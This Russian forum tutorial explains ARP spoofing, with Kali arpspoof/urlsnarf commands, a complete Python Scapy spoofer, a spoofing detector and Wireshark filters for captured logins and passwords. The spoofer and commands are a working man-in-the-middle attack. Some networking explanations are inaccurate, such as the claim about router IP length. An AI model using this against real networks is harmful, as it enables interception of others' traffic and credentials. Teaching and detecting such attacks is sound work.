Статья ARP между нами. Основы спуфинга для самых маленьких.

ARPSpoof.jpg


Дисклеймер: вся информация в статье предназначена для ознакомления. Автор не несет ответственности за ваши действия.

Введение

Заходя в общественное место и подключаясь к сети Wi-Fi без пароля, большинство людей редко задумываются о безопасности своей информации. Чаще всего в таких ситуациях человек становится жертвой хакерской атаки, ведь любую информацию из общедоступной точки доступа можно спокойно перехватить, модифицировать и отправить дальше. Но встает вопрос, как это все реализовать? С этим мы разберемся в нашей статье.

План работы

Для начала предлагаю разобраться с планом, по нему будут строится наши дальнейшие действия:
  1. Как передаются данные в сети Интернет.
    1. Идентификация и передача.
    2. Протокол ARP и его таблицы.
    3. Уровни интернет-протоколов.
  2. Атаки при помощи ARP-спуфинга.
    1. Методы реализации.
      1. Реализация в Kali Linux.
      2. Свой спуфер на Python.
    2. Способы обнаружения.
  3. Анализ перехваченного трафика.
    1. Знакомство с Wireshark и просмотр пакетов.
    2. Анализ перехваченной информации.
  4. Подводим итоги.
    1. Как защитить себя от перехвата.
Сейчас я расписал для тебя полный план по которому я построил эту статью. По нему будет легче ориентироваться в материале и быстро находить нужную для тебя информацию. Теперь мы переходим к основам.

Как передаются данные в сети Интернет


Передача информации в Интернете подобна отправке письма в другой город. Сначала ты составляешь текст письма, потом упаковываешь его в конверт для удобной передачи, отдаешь письмо почтовому агенту и ждешь пока оно дойдет до получателя. Наподобие таких примеров и работает всемирная паутина. В ней присутствуют пакеты, конверты с данными, которые отправляются по нужному адресу. Для идентификации получателя и отправителя мы используем имя и адрес. Но чтобы передать пакет требуется IP адрес отправителя и получателя, а также MAC адреса этих устройств. Теперь разберемся, что и для чего нужно.

MAC адрес (Media Access Control/Управление доступом к среде) - позволяет пользователю осуществлять подключения к Wi-Fi сетям. Он регистрирует твое устройство в сети и присваивает определенному пакету твой MAC адрес для дальнейшей работы с данными. Тем самым MAC адрес позволяет определить точное устройство с которого была отправлена информация и позволяет устройству получать нужные пакеты в дальнейшим. Но возникает вопрос, зачем тогда нужен IP адрес, если вся рутина лежит на MAC?

IP адрес (Internet Protocol/Интернет Протокол) - дает возможность узнать местоположение твоего устройства в более глобальной сети. При переходе в другое место с другой точкой доступа твой IP меняется вместе с твоим местоположение, но MAC адрес остается прежним. Представь, ты отправил письмо своему далекому родственнику, но внезапно тебе пришлось сменить место жительства. Поэтому другое письмо будет отправлено уже по другому адресу, хотя получишь его все равно ты.

Также я уже успел упомянуть слово протокол. Чтобы оно тебя не смущало, я объясню, что это такое.

Протокол - набор правил для регулирования обмена информации между устройствами. Проецируя все на пример с почтовыми письмами протоколом будет служить слова приветствия, ведь перед тем как начать что-то рассказывать мы указываем в письме слова "Здраствуй, мой уважаемый друг" и в конце "С нетерпением жду твоего ответа".

Теперь, после объяснения трех главных терминов, которые требуются в нашей работе, я расскажу тебе о том, что же такое ARP и зачем он нужен.

Мы знаем, что когда пакет достигает контрольной точки, MAC адрес позволяет определить устройство получателя. Но возникает вопрос: как роутер узнает адрес по которому нужно отправить пакет? Для этого используется протокол ARP. Роутер (он же маршрутизатор) отправляет всем устройствам в сети ARP-запрос. Его содержимое позволяет установить получателя и отправить данные на нужное устройство. Говоря простыми словами маршрутизатор отправляет запрос, содержащий вопрос: "У тебя такой MAC адрес?", и, получая отрицательные или положительные ответы, роутер понимает кому нужно отправить информацию. Далее вся информация сохраняется в виде ARP-таблице, которая упрощает процесс определения получателя пакетов. После такого объема информации давай опишем все в два слова.

Говоря коротко: MAC-адрес идентифицирует твой компьютер в сети. IP-адрес определяет его местоположения, а протоколы создают правила передачи информации. ARP-запросы позволяют определить получателя пакетов, в то время как ARP-таблицы сохраняют всю информацию для дальнейших запросов.

Атаки при помощи ARP-спуфинга


Итак, мы разобрались с понятием ARP и теперь приступим к реализации атаки типа ARP-спуфинга. Она проходит в два этапа.

Первый этап: хакер отправляет жертве поддельный ARP-ответ. Он содержит информацию о том, что MAC адрес его устройства соответствует IP адресу маршрутизатора. Таким способом хакер заставляет человека поверить в то, что его компьютер является роутером и ему можно доверять. После этого наступает очередь второго этапа.

Второй этап: компьютер жертвы принимает ответ от хакера и обновляет информацию в ARP таблице, чтобы совместить MAC адрес злоумышленника и IP адрес роутера. После таких манипуляций весь трафик жертвы будет проходить через компьютер хакера, который в свою очередь может проверить информацию жертвы, прежде чем отправить ее настоящему маршрутизатору.

Но для редактирования и перехвата трафика хакер должен обмануть по мимо устройства жертвы еще и маршрутизатор. Для этого следует создать поддельный ARP-пакет, который указывает на соответствие IP-адреса жертвы MAC-адресу хакера. Это позволит перехватить проходящий через устройства трафик прежде чем он достигнет пункта назначения.

Реализовывать эту атаку мы будем двумя путями. При помощи встроенных утилит на Kali Linux и своими руками в редакторе PyCharm. Начнем все с первого метода.

Реализация в Kali Linux

Для работы мы будем использовать утилиты netdiscover для идентификации маршрутизатора и цели, а также dsniff для проведения перехвата. Установим все необходимое на нашу машину командами:

Код:
sudo apt-get install dsniff
sudo apt-get install netdiscover

Чтобы каждый раз не вызывать функцию sudo ты можешь перед установкой повысить свой уровень доступа до root при помощи команды sudo -i. Для того, чтобы выдавать себя за другие машины в сети мы должны определить IP нашей жертвы и маршрутизатора, выполнив анализ сети при помощи команды:

Код:
sudo netdiscover

Сама утилита netdiscover сканирует сеть при помощи рассылки ARP-запросов по всем IP-адресам присутствующие в сети и после получения ответа записывает и отображает результат у тебя на экране. Из дополнительной информации инструмент также устанавливает производителя сетевой карты, что делает каждую цель по своему уникальной. В результате сканирования мы должны определить наш маршрутизатор. Обычно он имеет уникальный IP адрес состоящий из меньшего количества символов. Допустим если IP адрес цели 192.168.201, то адрес маршрутизатора должен отображаться как 192.168.2. На основе этой информации определяем нужные нам IP адреса и завершаем сканирования сочетанием клавиш Ctrl+C.

Для пересылки пакетов Kali Linux требуется разрешение, которое мы получим следующим образом:

Код:
sudo -i
echo 1 > /proc/sys/net/ipv4/ip_forward

После этих действий нам нужно заставить жертву поверить, что мы являемся маршрутизатором в этой сети. Для этого отправим поддельные ARP-ответы, которые подтверждают соответствие твоего MAC адреса IP адресу маршрутизатора. Чтобы сгенерировать их мы используем arpspoof:

Код:
arpspoof -i eth0 -t <IP_ЦЕЛИ> <IP_МАРШРУТИЗАТОРА>

Теперь я объясню тебе немного о том, за что отвечает каждый флаг.
  • Флаг -i отвечает за обозначения интерфейса (у тебя он может отличаться).
  • Флаг -t отвечает за обозначения жертвы.
Чтобы узнать название твоего интерфейсы требуется выполнить следующую команду:

Код:
sudo ifconfig

Из наиболее частых обозначений подключений ты можешь встретить wlan, который означает беспроводное подключение и eth0, обозначающий проводное соединение. После этого нам следует провести второй этап нашей атаки, обмануть маршрутизатор, чтобы все пакеты жертвы проходили через нас. Для этого нужно поменять местами имеющиеся IP-адреса. Теперь на месте адреса жертвы у нас должен стоят маршрутизатор. Реализуем это командой:

Код:
arpspoof -i eth0 -t <IP_МАРШРУТИЗАТОРА> <IP_ЦЕЛИ>

Все, теперь весь интернет-трафик жертвы проходит через нас. Давай же глянем какие сайты посещает наша цель при помощи извлечения URL из перехваченных пакетов. Для этого выполняем эту команду:

Код:
sudo urlsnarf -i eth0

Если на твоей машине стоит другой тип подключения, то замени eth0 на свой. Если жертва посещала какие-либо ресурсы, то это будет отображаться в окне терминала. Также ты можешь модифицировать трафик, внедряя в него вредоносные пакеты и тем самым получая доступ к устройству жертвы. Но об этом мы поговорим в другой статье. Следует помнить, что ARP-спуфингу подвергаются только незащищенные пакеты. Если жертва подключается по протоколу HTTPS, то шанс прочитать содержимое пакета значительно уменьшается. Теперь давай проделаем все то же самое, но уже используя собственный софт.

Пишем ARP-спуфер на Python

Весь процесс я буду проводить с использованием Python 3.10 и среды разработки PyCharm. Все программы ты найдешь на официальных сайтах. Теперь тебе требуется создать файл с названием arpSpoof.py. Открываем его для редакции и первым делом инициализируем библиотеки для работы. Фундамент программы будет основываться на библиотеки Scapy. Он способен подделывать или декодировать пакеты большого количества протоколов, отправлять их по сети, захватывать, сохранять или читать с помощью файлов pcap, сопоставлять запросы и ответы и многое другое. Начнем с импорта наших библиотек.

Python:
from scapy.all import *
import sys

from scapy.layers.l2 import ARP, getmacbyip

Теперь нам нужно создать цикл, в нем мы создадим ARP-запрос при помощи которого будет происходить фальсификация данных. Для этого пишем следующие строки.

Python:
def arp_spoof(dest_ip, dest_mac, source_ip):
    packet = ARP(op="who-has", psrc=source_ip,
                 hwdst=dest_mac, pdst=dest_ip)

    send(packet, verbose=False)

Здесь мы обозначаем нужные нам данные в числе IP и MAC адреса нашего компьютера, жертвы, а также на их основе формируем и отправляем поддельный ARP-запрос. На заметку, флаг op с значением who-has как раз и обозначает то, что этот пакет является ARP-запросом, а не ответом.

После этого нам нужно получить ARP-ответ при помощи аналогичного цикла, но с использованием параметра is-at и смены данных, как мы делали это на Kali Linux.

Python:
def arp_restore(dest_ip, dest_mac, source_ip, source_mac):
    packet = ARP(op="is-at", hwsrc=source_mac,
                 psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)

    send(packet, verbose=False)

Завершающим штрихом в нашей работе становится основной цикл, в который мы поместим все нужные нам переменные. Создадим его при помощи этих строк.

Python:
def main():
    target_ip = sys.argv[1]
    router_ip = sys.argv[2]

    target_mac = getmacbyip(target_ip)
    router_mac = getmacbyip(router_ip)
    try:
        print("Sending spoofed ARP packets")
        while True:
            arp_spoof(target_ip, target_mac, router_ip)
            arp_spoof(router_ip, router_mac, target_ip)
    except KeyboardInterrupt:
        print("Restoring ARP Tables")
        arp_restore(router_ip, router_mac, target_ip, target_mac)
        arp_restore(target_ip, target_mac, router_ip, router_mac)
        quit()


main()

Здесь мы задаем IP и MAC адреса роутера и цели. После отправляем ARP-пакеты и перехватываем исключение, которое возвращает ARP-таблицу в исходное состояние, чтобы не вызывать подозрений у жертвы. То есть при нажатии сочетаний клавиш Ctrl+C наша программа завершит свою работу. Чтобы протестировать все в реальном бою открываем консоль и пишем следующие (команды приведены под Kali Linux):
Код:
python3 arpspoof.py <IP_АДРЕС_ЦЕЛИ> <IP_АДРЕС_РОУТЕРА>
Проводя атаки такого типа ты должен знать как их отслеживать и распознавать. Можно делать это вручную проверяя ARP-таблицы на наличие изменений или попробовать написать свой детектор спуфинга. Для этого мы воспользуемся тем же Python.

Детектор ARP-спуфинга


В основе нашей программы будет лежать сравнение ARP-таблиц. Из них мы узнаем кто пытается нас перехватить. Для начала требуется импортировать нужные модули. Использовать мы будем по прежнему Scapy. Весь код я помещу в файл с названием arpDetector.py.

Python:
from scapy.all import sniff

Также создадим массив, в который поместятся все необходимые для анализа данных.

Python:
ip_mac_map = {}

Теперь переходим к основе нашего детектора. Требуется создать цикл в котором утилита будет сравнивать всю получаемую информацию и если при чтении таблиц возникнет несостыковка, будет выведено сообщение о перехвати трафика с указанием IP адреса хакера. Создаем все это при помощи следующих строк.


Python:
def process(packet):
    src_ip = packet['ARP'].psrc
    src_mac = packet['Ether'].src
    if src_mac in ip_mac_map.keys():
        if ip_mac_map[src_mac] != src_ip:
            try:
                old_ip = ip_mac_map[src_mac]
            except:
                old_ip = "unknown"
            message = (f"Possible ARP attack detected. It is possible that the machine with IP address {str(old_ip)} is pretending to be {str(src_ip)}")
            return message
    else:
        ip_mac_map[src_mac] = src_ip


sniff(count=0, filter="arp", store=0, prn=process)

Разберем все по порядку. В цикле procress мы задаем две переменные с нашим MAC и IP адресом. Далее при помощи условного цикла проверяем информацию, полученную из таблицы. Если она не сходится с нашими данными, то мы берем IP адрес из новой таблицы как информацию о хакере, который нас перехватывает. Таким образом мы получаем готовый детектор. Испытаем его в боевых действиях. Для этого тебе следует запустить на машине хакера наш спуфер, а у жертвы оставить включенным arpDetector. При попытке перехватить трафик детектор начнет выводить предупреждение о перехвате, тем самым ставив жертву в известность и заставляя ее отключиться от маршрутизатора.

Анализ перехваченного трафика


Итак, в предыдущих главах мы разобрали ручной способ перехвата пакетов. Теперь нужно разобраться как их прочитать. В этом нам поможет инструмент Wireshark. Работает он в связке с Npcap, поскольку эта утилита выполняет роль перехвата трафика и дублирования его для дальнейшей отправки в нашу акулу. Зайдя в главное окно нашей утилиты нас приветствует выбор сетевой карты для работы. Если ты используешь беспроводную сеть, то тебе следует выбрать wlan, в случаи проводного соединения кликни на eth0, а виртуального lo. После приступаем к нашему перехвату. Для этого следует кликнуть на иконку плавника в левом верхнем углу. По истечении нескольких минут останавливаем работу и видим огромное количество перехваченных пакетов. Чтобы в этом ориентироваться и вытаскивать только нужную информацию следует использовать фильтры. Допустим, чтобы вывести только те пакеты, которыми цель обменивалась с сервером следует использовать такой запрос:

Код:
ip.dst == <IP_АДРЕС_ЦЕЛИ>

Такая фильтрация значительно сужает круг поиска нужных тебе данных. Давай я покажу общий шаблон, по которому строится синтаксис Wireshark.

Код:
[Протокол].[поле_пакета] [оператор: !=, ==, +] [значение]

Теперь разберем, как это работает. В поле протокол мы указываем IP, говоря системе, что наш запрос связан с адресацией. Далее мы указываем поле пакета, в нашем случаи это IP-адрес принимающего. Далее мы выводим оператор равно и указываем адрес цели. Попробуй отфильтровать информацию отправленную на сервер. Для этого используй поле пакета с значением src.

Способности Wireshark также не ограничиваются поиском пакетов по отправителю и получателю. Ты можешь фильтровать их по содержимому. К примеру, чтобы найти пакеты в которых содержатся слова login или password, следует использовать такой фильтр.

Код:
tcp contains login | password

Таким образом можно находить важную для хакера информацию. Но если жертва передавала большое количество информации, то она будет разбита на огромное количество пакетов и чтобы все восстановить следует воспользоваться отслеживанием. Для этого в панели инструментов Wireshark требуется найти пункт Follow (Отследить) и в нем кликнуть на функцию TCP Stream (Поток TCP). Теперь ты знаешь как восстанавливать информацию из пакетов. Чтобы узнать кто перехватывает твой трафик при помощи акулы рекомендую использовать утилиту tcpdump, но о ней я расскажу в другой статье.

Подводим итоги


Итак, в этой статье я постарался максимально детально и понятно объяснить тебе, что такое ARP-спуфинг и как он работает. Мы разобрали все основные понятия, написали собственный детектор и спуфер на питоне. Разобрались с перехватом трафика в Kali Linux, а также задели работу фильтров в Wireshark. Используя весь материал ты сможешь проводить самостоятельно ARP атаки в виртуальных средах. Но важно помнить, что такому типу атак подвержен только незащищенный трафик. Если жертва подключилась к сайту по протоколу HTTPS, то после перехвата всю информацию придется расшифровывать. Также, чтобы подключаться к незащищенным страницам рекомендую использовать расширение для браузеров HTTPS Everywhere ( / ). Весь исходный код программ ты можешь найти ниже.

Python:
from scapy.all import *
import sys

from scapy.layers.l2 import ARP, getmacbyip


def arp_spoof(dest_ip, dest_mac, source_ip):
    packet = ARP(op="who-has", psrc=source_ip,
                 hwdst=dest_mac, pdst=dest_ip)

    send(packet, verbose=False)


def arp_restore(dest_ip, dest_mac, source_ip, source_mac):
    packet = ARP(op="is-at", hwsrc=source_mac,
                 psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)

    send(packet, verbose=False)


def main():
    target_ip = sys.argv[1]
    router_ip = sys.argv[2]

    victim_mac = getmacbyip(target_ip)
    router_mac = getmacbyip(router_ip)
    try:
        print("Sending spoofed ARP packets")
        while True:
            arp_spoof(target_ip, victim_mac, router_ip)
            arp_spoof(router_ip, router_mac, target_ip)
    except KeyboardInterrupt:
        print("Restoring ARP Tables")
        arp_restore(router_ip, router_mac, target_ip, victim_mac)
        arp_restore(target_ip, victim_mac, router_ip, router_mac)
        quit()


main()
Python:
from scapy.all import sniff

ip_mac_map = {}


def process(packet):
    src_ip = packet['ARP'].psrc
    src_mac = packet['Ether'].src
    if src_mac in ip_mac_map.keys():
        if ip_mac_map[src_mac] != src_ip:
            try:
                old_ip = ip_mac_map[src_mac]
            except:
                old_ip = "unknown"
            message = ("\n Possible ARP attack detected \n "
                       + "It is possible that the machine with IP address \n "
                       + str(old_ip) + " is pretending to be " + str(src_ip) + "\n ")
            return message
    else:
        ip_mac_map[src_mac] = src_ip


sniff(count=0, filter="arp", store=0, prn=process)
 
Последнее редактирование модератором:

Tihon49

Green Team
06.01.2018
193
120
BIT
0
Нашёл опечатку:
target_mac = getmacbyip(victim_ip), а должно быть:
target_mac = getmacbyip(target_ip)

(Вместо victim_ip - target_ip)
 
  • Нравится
Реакции: Mark Klintov

Dertex

Green Team
23.10.2019
11
1
BIT
0
Всё понятно,всё получилось,только непонятно как писать функции,откуда какая берется,почему именно эта берется,надо изучать python по ходу плотненько.
 

Mark Klintov

Grey Team
23.07.2022
151
297
BIT
25
Всё понятно,всё получилось,только непонятно как писать функции,откуда какая берется,почему именно эта берется,надо изучать python по ходу плотненько.
Рекомендую ознакомиться с модулем Scapy на Habr и
 
  • Нравится
Реакции: Dertex
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!